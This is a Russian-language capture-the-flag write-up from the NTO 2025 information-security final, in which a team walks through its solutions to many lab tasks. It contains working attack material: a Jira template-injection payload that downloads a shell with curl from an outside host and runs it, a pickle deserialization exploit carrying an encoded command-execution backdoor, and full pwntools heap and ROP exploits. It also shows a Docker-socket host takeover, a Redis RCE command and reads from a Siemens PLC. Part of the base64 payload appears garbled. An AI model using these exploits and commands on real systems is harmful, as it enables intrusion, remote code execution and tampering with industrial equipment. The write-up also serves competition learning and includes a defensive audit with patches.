

ФИНАЛ ИБ НТО 2025

v3rb0s1ty

Касса waf

Пишем правила для modsecurity:

```
SecRule REQUEST_BODY "@rx (?:<|>)" "id:123456, \
    phase:2, \
    t:none, \
    deny, \
    msg:'error', \
    logdata:'Обнаружено: %{MATCHED_VAR}', \
    severity:CRITICAL"
```

```
SecRule REQUEST_BODY "@pmFromFile /root/blacklist.txt" "id:123457, \
    phase:2, \
    t:lowercase, \
    deny, \
    msg:'error', \
    logdata:'Обнаружено: %{MATCHED_VAR}', \
    severity:WARNING"
```

blacklist.txt: system postfix subprocess echo base64 /bin/bash bash sh netcat /bin/sh python
pwd whoami

Инфра - Jira

Находим уязвимость сервиса Atlassian [Jira](#) 8.1

<https://github.com/vulhub/vulhub/blob/master/jira/CVE-2019-11581/README.md>

Загружаем на сервер шелл через curl

```
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null,
null).exec('curl http://10.5.5.132:41203/shell -o shell').toString()
```

```
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null,
null).exec('bash shell').toString()
```

daemon@67f9880e3d47:/var/atlassian/application-data/jira\$ cat user_flag.txt

Флаг: **nto{j1rn4y4_uy4zv1m057}**

WEB - Касса

Директория /check-ticket уязвима к вредоносной сериализации через

библиотеку библиотеку pickle (ticket = pickle.loads(data))

Пишем спloit, отправляем файл и получаем флаг :

```
import pickle
```

```
import sys
```

```
class PickleRCE(object):
```

```
    def __reduce__(self):
```

```
        import os
```

```

        return (os.system,(command,))
command = 'echo
ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sslHJlcXVlc3QslGpzb25pZnkJaW1wb3J0IHN1YnB
yb2Nlc3MKCmFwcCA9IEZsYXNrKF9fbmFtZV9fKQoKQGFWcC5yb3V0ZSgnL2V4ZWV1dG
UnLCBtZXRob2RzPVsnUE9TVCCddKQpkZWYgZXh1Y3V0ZV9jb21tYW5kKCK6CiAgICBkYX
RhID0gcmlVxdWVzdC5qc29uCiAgICBjb21tYW5kID0gZGF0YS5nZXQoJ2NvbW1hbmQnKQ
oKICAgIGlmlG5vdCBjb21tYW5kOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
nTm8gY29tbWFuZCBwcm92aWRIZCd9KSwgNDawCiAgICB0cnk6CiAgICAgICAgICAgcmVzdWx
0ID0gc3VicHJvY2Vzcy5ydW4oY29tbWFuZCBwcm92aWRIZCd9KSwgY2FwdHVyZV9vdXRw
dXQ9VHJ1ZSwgdGV4dD1UcnVlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
N1bHQuc3RkZXJyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
2RlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1cm4ganNvbmlmeSh7J2Vycm9yJz0gc3RyKGUpfSksIDUwMApZiBfX25hbWVfXyA9PSAnX
19tYWluX18nOgogICAgYXBwLnJ1bignMC4wLjAuMCCscG9ydD01MDAwLGRIYnVnPVRYd
WUpCgo= | base64 -d > run.py'
payload = pickle.dumps(PickleRCE())
f=open('check.pkl','wb').write(payload)

```

```

$> curl -X POST http://10.10.11.51:5024/execute -H "Content-Type: application/json" -d
'{"command": "cat env"}'

```

PWN - временные сообщения

видим бинарь с возможностью читать и создавать файлы, для файла предусмотрено 256 байт, если создать файл на 256 байт, то первый байт следующего объекта в bss(пароль) перезапишется на нулевой, пароль сравнивается через strcmp которые считывает до символа конца строки, чем и является нулевой байт, поэтому достаточно заслать нулевой байт в пароль, проверка пройдет и удастся прочитать 00000000 файл и получить флаг

Флаг: **nto{sup3r_s3cr3t_c0nf1d3ntial_fl4g}**

```

from pwn import *

host = '10.10.11.101'

port = 9001

io = remote(host, port)

io.sendlineafter(b'>> ', b'2')

```

```
io.sendafter(b': ', b'a'*256)

io.send(b'\n')

io.sendlineafter(b'>> ', b'1')

io.sendlineafter(b': ', b'00000000')

io.send(b'\x00'*2+b'\n')

io.interactive()
```

PWN - Кадры

выполняем `rwn checksec ./jiro` ; из интересного, включен `pie` и нет канарейки

вместе с основным бинарником дали `libc.so.6` и `ld-linux-x86-64.so.2`: патчим через `patchelf --set-interpreter ld-linux-x86-64.so.2. ./jiro; patchelf --set-rpath . ./jiro`

Лик кучи

в функции удаления таска, при определённых условиях возможен `use-after-free`: если `reward` больше чем 100000 пользователь автор удаляется, причём поинтер не зануляется

первым делом ликнем адрес кучи: создаём пользователя, создаём для него таск, делаем `reward` равным 100001, удаляем таск. Читаем удаленного пользователя

Лик `libc`: изначально в `tcache fd` указывает на следующий чанк в куче, поэтому создадим пользователя, введём в `name` 'a'*1080, хоть изначально для него создаётся чанк на 0x20 байт, `getline` будет работать как `realloc` и увеличит его до нужного размера (чанк попадёт в `unsorted bin` и будет указывать на `libc`), через вышеописанный `uaf` читаем содержимое освобождённого большого чанка, получаем адрес `main_arena`

для получения шелла развернём гор цепочку на стеке, для этого, используя `uaf` сделаем так, чтобы главный чанк пользователя (в котором содержится поинтер на `name`) указывал на другой главный чанк, это можно сделать так: создаём 2 пользователей и к ним по таску, причём важно, чтобы у пользователя чанк `name` был другого размера, освобождаем чанки, создаём новые таски, после чего видим, что в `tcache` будут два чанка, каждый из которых является главным и содержит адреса), в

итоге, создав нового пользователя добьёмся того, что чанк name будет совпадать с главным чанком другого пользователя это даст нам читать и писать данные по любому адресу. так как адрес libc у нас есть, можем изменить адрес name на libc environ, в котором увидим адрес стека.

повторяем это действие ещё раз, высчитываем из адреса стека из environ адрес возврата и на нём разворачиваем гор цепочку вызова сисколла exesve с командой /bin/sh после чего получаем шелл и читаем флаг.

Флаг: **nto{th1s_1s_f1n3.}**

ЭКСПЛОИТ:

```
from pwn import *

exe = context.binary = ELF(args.EXE or './jiro')

host = args.HOST or '10.10.11.32'
port = int(args.PORT or 9000)

if args.LOCAL_LIBC:
    libc = exe.libc
elif args.LOCAL:
    library_path = libcdb.download_libraries('libc.so.6')
    if library_path:
        exe = context.binary = ELF.patch_custom_libraries(exe.path,
library_path)
        libc = exe.libc
    else:
        libc = ELF('libc.so.6')
else:
    libc = ELF('libc.so.6')

def start_local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a,
**kw)
    elif args.EDB:
        return process(['edb', '--run', exe.path] + argv, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
```

```

    return io

def start(argv=[], *a, **kw):
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
''' .format(**locals())

io = start()

def create_user(name, emp):
    io.sendlineafter(b'>> ', b'1')
    io.sendlineafter(b'name: ', name)
    io.sendlineafter(b'>> ', emp)
    io.recvuntil(b'ID: ')
    return io.recvline().strip(b'\n')

def edit_user(id, name, emp):
    io.sendlineafter(b'>> ', b'2')
    io.sendlineafter(b'id: ', id)
    io.sendlineafter(b'name: ', name)
    io.sendlineafter(b'>> ', emp)

def delete_user(id):
    io.sendlineafter(b'>> ', b'3')
    io.sendlineafter(b'ID: ', id)

def create_task(id, reward, name):
    io.sendlineafter(b'>> ', b'4')
    io.sendlineafter(b'ID: ', id)
    io.sendlineafter(b'reward: ', str(reward).encode())
    io.sendlineafter(b'name: ', name)

def delete_task(id):
    io.sendlineafter(b'>> ', b'5')

```

```

io.sendlineafter(b'id: ', id)

def show_user(id):
    io.sendlineafter(b'>> ', b'6')
    io.sendlineafter(b'id: ', id)
    io.recvuntil(b'[ EMPLOYEE CARD ]\n')
    return io.recvuntil(b'1. Hire', drop=True)

def show_task(id):
    io.sendlineafter(b'>> ', b'7')
    io.sendlineafter(b'id: ', id)
    io.recvuntil(b'[ TASK CARD ]\n')
    return io.recvuntil(b'1. Hire', drop=True)

id = create_user(b'a'*0x880, b'1').decode()
create_task(id, 100001, b'123')
id_1 = create_user(b'a'*1000, b'1').decode()
delete_task(b'1')
create_user(b'aaaa', b'1').decode()
print(id)
print(id_1)

ll = show_user(id.encode())
print(ll)
heap= int(ll.split(b'Zarabotal: ')[-1].split(b'\n\n')[0].decode())
libc= u64(ll.split(b'Name: ')[-1].split(b'\nID')[0].ljust(8,b'\x00')) -
0x1dab20
print('heap', hex(heap))
print('libc',hex(libc))

gl = ELF('./libc.so.6')

print('!', hex(libc+0x00000000000042667))
show_user(b'1')
print('env', hex(gl.sym.environ+libc))

id_p = []
id_p.append(create_user(b'4', b'1'))

```

```

id_p.append(create_user(b'5', b'1'))
id_p.append(create_user(b'6'*0x31, b'1'))
id_p.append(create_user(b'7'*0x31, b'1'))

create_task(id_p[2] , 100001, b'123')
create_task(id_p[3] , 100001, b'123')

delete_task(b'1')

create_task(id_p[0] , 100001, b'123')

delete_task(b'2')

create_task(id_p[1] , 100001, b'123')
# delete_user(id_p[0])
# create_task(id_p[2] , 100001, b'123')

id_p.append(create_user(b'f'*0x18+p64(gl.sym.environ+libc)[:6], b'1'))
stack = u64(show_user(id_p[2]).split(b'Name:')[0].split(b'\nID')[0].ljust(8,b'\x00')) - 0x130
print('stack', hex(stack))
edit_user(id_p[2], b'123456', b'1')
print(id_p[2])
print(show_user(id_p[2]))

# edit_user(id_p[2], b'1' , b'1')
# id_p.append(create_user(b'6666', b'1'))
# id_p.append(create_user(b'7777', b'1'))

delete_task(b'2')
delete_task(b'1')

#-----
id_p = []
id_p.append(create_user(b'4', b'1'))
id_p.append(create_user(b'5', b'1'))
id_p.append(create_user(b'6'*0x31, b'1'))
id_p.append(create_user(b'7'*0x31, b'1'))

create_task(id_p[2] , 100001, b'123')
create_task(id_p[3] , 100001, b'123')

```

```

delete_task(b'1')

create_task(id_p[0] , 100001, b'123')

delete_task(b'2')

create_task(id_p[1] , 100001, b'123')
# delete_user(id_p[0])
# create_task(id_p[2] , 100001, b'123')
gad = [0x4fcb3, 0xd57ab, 0x4fcac]
id_p.append(create_user(b'f'*0x18+p64(stack)[:6], b'1'))
print(show_user(id_p[2]))
print(id_p[2])
print(hex((libc+0x4fcac)))
print(hex((libc+0x4fcac)))
print(hex((libc+0x4fcac)))

p = p64(libc+0x00000000000042667)
p += p64(0x3b)
p += p64(libc+0x0000000000002a215)
p += p64(libc + 0x19ae41)
p += p64(libc + 0x0000000000002bb29)
p += p64(0)
p += p64(libc + 0x00000000000103c9d)
p+=p64(0)
p+=p64(libc+0x000000000000284a3)
# edit_user(id_p[2],p64(libc+0x0000000000002868c)+
p64(libc+0x0000000000002a215)+p64(libc+0x19ae41)+p64(libc+gl.sym.system)
, b'1')
edit_user(id_p[2],p, b'1')

io.interactive()

```

Инфра - Сервис печати 1

На порте 631 находится уязвимая версия OpenPrinting CUPS 2.4.7.

Используя уязвимость CVE-2024-47177

(<https://github.com/vulhub/vulhub/blob/master/cups-browsed/CVE-2024-47177/README.md>)
получаем rce и читаем флаг.

Инфра - NAS 1

Сначала сделали port knocking через python:

Далее видим на 80м порту IP есть панель openmediavault. Входим по дефолтным
кредам admin:openmediavault: Получаем флаг через SMB: FLAG.

Инфра - NAS 2

На 80м порту IP есть панель openmediavault. Для неё была найдена RCE:
unix/webapp/openmediavault_rpc_rce. Подключаемся через metasploit как root.
Флаг лежит в директории /root/ : **nto{4_l177l3_ch33ky_cv3}**.

Кроличий горшок 2.0

На IP 10.10.1.172 открыт порт 80. Во время фаззинга было найдено странное
поведение ручки /control на POST запрос. Погуглив, находим выступление Тишиной
Елизаветы о пентесте цветочных горшков:

<https://www.youtube.com/watch?v=eJB-2FgLYNc> Так как мы находимся в одной сети с горшком, мы можем читать участок
памяти через POST запрос к ручке /control с json {"cmd":1, "param":1}, где param -
индекс блока памяти.

Если мы можем читать по индексу, то можем сдампить всю память. Был написан
скрипт (прикрепил).

В дампе был обнаружен флаг: **nto{p07_wh475_1n_ur_h34d}**

```
import struct
import requests
import time
import sys
```

```

start_param, end_param, host = int(sys.argv[1]), int(sys.argv[2]),
sys.argv[3]
def add_to_file(file):
    packers = {
        int: lambda v: struct.pack("<i", v),
        float: lambda v: struct.pack("<f", v),
        type(None): lambda v: struct.pack("<i", 0)}
    for i in range(start_param, end_param):
        try:
            print(f"Dumping index - {i}")
            data = requests.post("http://10.10.1.172/control",
json={"cmd": 1, "param": i}, ).json()["value"]
            packer = packers.get(type(data), None)
            if packer:
                file.write(packer(data))
            file.flush()
            time.sleep(0.1)
        except:
            pass
with open("memory", "ab") as lol:
    add_to_file(lol)

```

Кроличья нора

С помощью тулзы mtrpass восстанавливаем пароли пользователей из дампа памяти.

15	user	z[a/#4V]jHDF,"xd:q\$u	
16	user2	s*3Z:@vaM9m=x<"-	
17	user3	rjw7sJ<%nHvT5[Pg	
18	user4	n&@D>3h?_8%,FC`B	
19	user5	V;xfQt:39.m8(h`~	
20	admin	9Nbn5dST	

Совершив вход под пользователем user, находим флаг:

NTO(2H=nS@fsz=Mxj&-{b%3TY]tQNLny}W+)

Контейнер

В условии дана подсеть 10.10.13.0/24. Просканировав её с помощью nmap обнаруживаем хост с открытым портом 2375 и айпи адресом 10.10.13.94. На данном порту наружу развёрнут docker-socket. Можем взаимодействовать с ним используя docker-cli и переменную окружения DOCKER_HOST.

```
DOCKER_HOST=tcp://10.10.13.94:2375 docker ps

DOCKER_HOST=tcp://10.10.13.94:2375 docker run -it --volume /:/mnt nginx
bash
```

Посредством создания такого docker контейнера монтируем файловую систему хоста в /mnt директорию контейнера, и находим флаг в /mnt/home/user.

nto{Ne_Zabyavay_Zakryavat_Socket_2375}

Confluence 1

Определив версию confluence можем найти на неё публичные CVE. Конкретно наша версия уязвима к CVE-2023-22527, приводящей в удалённому выполнению кода.

<https://www.exploit-db.com/exploits/51904>

Воспользовавшись exploit-ом получаем rce и забираем флаг из домашней директории пользователя confluence. **nto{c0nflu3nc3_15_und3r_4774ck}**

Поезд

После сканирования сети данной в условии (10.10.14.0/24) обнаруживаем единственный живой хост. Это - 10.10.14.2. Путём сканирования nmap выясняем, что данный нам в условии контроллер Siemens S7-1200 находится на порту 120. Выясняем, что на данный контроллер есть публичная уязвимость (CVE-2022-38465), но она только позволяет менять состояние PLC на start/stop. Ищем дальше. Выясняем, что есть Python библиотека snap7 используемая для работы с данными контроллерами. Пробуем используя её считать данные с контроллера:

```
import snap7

plc = snap7.client.Client()
plc.connect('10.10.14.2', 0, 1)

data = plc.db_read(1, 0, 256)
length = data[0]
string_bytes = data[1:length + 1]
```

```
print(string_bytes)
```

Успех. Исходя из этого можно сделать вывод, что во-первых на контроллере не настроено tls шифрование, и во-вторых - на данном контроллере не настроена аутентификация. Остаётся тем не менее один нюанс следующий из условия - принимать и обрабатывать соединения он может только тогда, когда поезд находится на станции.

Теперь можем написать полноценный сплойт, который будет считывать все данные, и записывать произвольную строку.

Непрошенные гости! - 1

1. Host Header Injection: в конфигурации nginx.conf return 301
`https://$host$request_uri;` здесь злоумышленник может внедрить в заголовок Host свои данные, что может привести к перенаправлению на сайт злоумышленника
2. SQL injection: в файле /app/mysite/views.py небезопасно передаются параметры к sql запросу `query = f"SELECT * FROM myapp_user WHERE login = '{username}' AND password = '{password}'"` злоумышленник может внедрить свой код, получив доступ к аккаунтам других пользователей. пример: `admin' or 1=1; --` Похожая уязвимость присутствует в функции `mark_and_view` : `query = f"INSERT INTO myapp_mark (mark, date, user_id, subject_id) VALUES ({mark_value}, {date}, (SELECT id FROM myapp_user WHERE login = '{student_login}'), (SELECT id FROM myapp_subject WHERE name = '{sub_name}'))"`

и в функции `search` `query1 = f"SELECT * FROM myapp_user WHERE surname LIKE '{query}' OR name LIKE '{query}'"`

также проверка на `user.role == 'STU'`: не имеет смысла, поскольку при регистрации злоумышленник может изменить параметр `role` и пользоваться функционалом любого типа пользователей, например ADM

3. в `security.py` проверяется количество попыток ввода, но число максимальных попыток огромное `ACCESS_TOKEN_EXPIRE_MINUTES = 1000000000000000000` `MAX_LOGIN_ATTEMPTS = 1000000000000000000` также блокировка бесполезна, поскольку `0*60=0` `BLOCK_TIME_MINUTES = 0`
4. redis без пароля и доступен для внешних пользователей и postgresql дефолтные креды и доступен наружу
5. в `cors.conf` включен `Access-Control-Allow-Origin: *` что позволяет осуществить csrf
6. статические ключи .например в `security.py`

7. уязвимый postgres:16.6-alpine3.21 в docker hub на этот контейнер обозначено множество cve
8. уязвимые пакеты: ecdsa 0.19.0 , python3-setup 65.5.0
9. Пароли хранятся plaintext-ом в бд

Непрошенные гости! - 2

патч sql injection, нужно параметризовать запросы: `query1 = "SELECT * FROM myapp_user WHERE surname LIKE %s OR name LIKE %s" cursor.execute(query1, (query, query)) results = cursor.fetchall()`

Host Header Injection: нужно не доверять пользователю: использовать `$server_name` или любое зарардженное име сервера

проверять параметр `role`, если подразумевается ограничения. например, сделать `white list` возможных ролей, который не включает `ADM`

изменить переменные `ACCESS_TOKEN_EXPIRE_MINUTES`, `MAX_LOGIN_ATTEMPTS`, `BLOCK_TIME_MINUTES` на разумные значения, например токен может храниться 1 час, максимальное колво ошибок 10, время блокировки 10 минут

в `docker-compose` убрать внешний доступ к необязательным для пользователей сервисам `postgresql` и `redis`. также поставить надёжные пароли

в `cors.conf` ограничить `Access-Control-Allow-Origin` на доступ только от доверенных сайтов

ключи нужно держать в переменных окружения

`password=hashlib.sha256(cd['password'].encode()).hexdigest()` пароли нужно хранить в базе данных в хэшированном виде, например `sha256`

обновить все библиотеки и контейнеры до новейших версий

убрать заголовки `X-Forwarded-For` и `X-Real-IP` или не доверять им

Кроличий горшок 2.0

На IP 10.10.1.172 открыт порт 80. Во время фаззинга было найдено странное поведение ручки `/control` на POST запрос. Погуглив, находим выступление Тишиной Елизаветы о пентесте цветочных горшков:

<https://www.youtube.com/watch?v=eJB-2FgLYNc>

FgLYNc) Так как мы нахоимся в одной сети с горшком, мы можем читать участок памяти через POST запрос к ручке /control с json {"cmd":1, "param":1}, где param - индекс блока памяти.

Если мы можем читать по индексу, то можем сдампить всю память. Был написан скрипт (прикрепил).

В дампе был обнаружен флаг: **nto{p07_wh475_1n_ur_h34d}**

WIFI-Роутер

Входим в панель роутера используя флаг **nto{p07_wh475_1n_ur_h34d}** как пароль и **admin** как пароль. Получаем флаг из настроек ntp: **nto{p455_r3u53_15_d4n63r0u5}**. Находим command execution в функции ping: **8.8.8.8; ls**. Получаем флаг: **nto{c0n6r475_y0uv3_ju57_f0und_z3r0}**

Враг врага 2 - 1

Как был получен первичный доступ к системе? (2 балла) В папке есть дамп трафика машины. Смотрим http трафик, в котором атакующий обращается к ручке /console (flask). Используя pin 123-45-789, а также SECRET **yqqPfQiFZmXsmnZQYMPF** атакующий получил доступ к flask панели.

Враг врага 2 - 2

С IP 81.177.221.242 и 10.10.10.3. **Враг врага 2 - 3**

Упаковщик upx. Это можно узнать выполнив команду: **strings app**

\$Info: This file is packed with the t

Z executable packer http://upx.sf.net \$

\$Id: t

Z 4.24 Copyright (C) 1996-2024 the t

Z Team. All Rights Reserved. \$

Враг врага 2 - 3

Злоумышленники перетёрли сигнатуры црх и заменили их на случайные байты.

Враг врага 2 - 4

Вредоносная нагрузка представляет из себя вирус шифровальщик. Он создаёт .enc файлы. Изучив файловую систему хоста можем обнаружить их, и заметить, что все они имеют следующее время создания:

2025-01-22 22:35:52

Следовательно, вредоносная нагрузка была запущена в это время.

MISC - Принтер 1

На первом IP 10.10.1.72 а 80м порту есть веб сервис kyosera. Для неё была найдена [CVE-2022-1026](#), которая позволяет получать кредиты пользователей. Были получены кредиты ftpuser : r34llyh4rdp455, которые подходят к FTP 10.10.1.110. Подключаемся и получаем флаг: **nto{f7p_4cc355_fr0m_ky0c3r4}**

MISC - Принтер 2

После получения кредитов из принтер 1 и подключения по FTP к 10.10.1.110 выкачиваем redis.conf. В нем лежит пароль NTO_r3d15_p455w0rd. Для Redis 4.x и 5.x есть [RCE](#).

Получаем шелл: `python redis-rce.py -r 10.10.1.110 -p 6379 -L 10.5.5.175 -f ./Redis-RCE/exp_lin.so -a NTO_r3d15_p455w0rd -P 41166`. По пути /root/reallylongfilename4NTOflag читаем флаг: **nto{d0n7_0v3r3xp0s3_ur_r3d15}**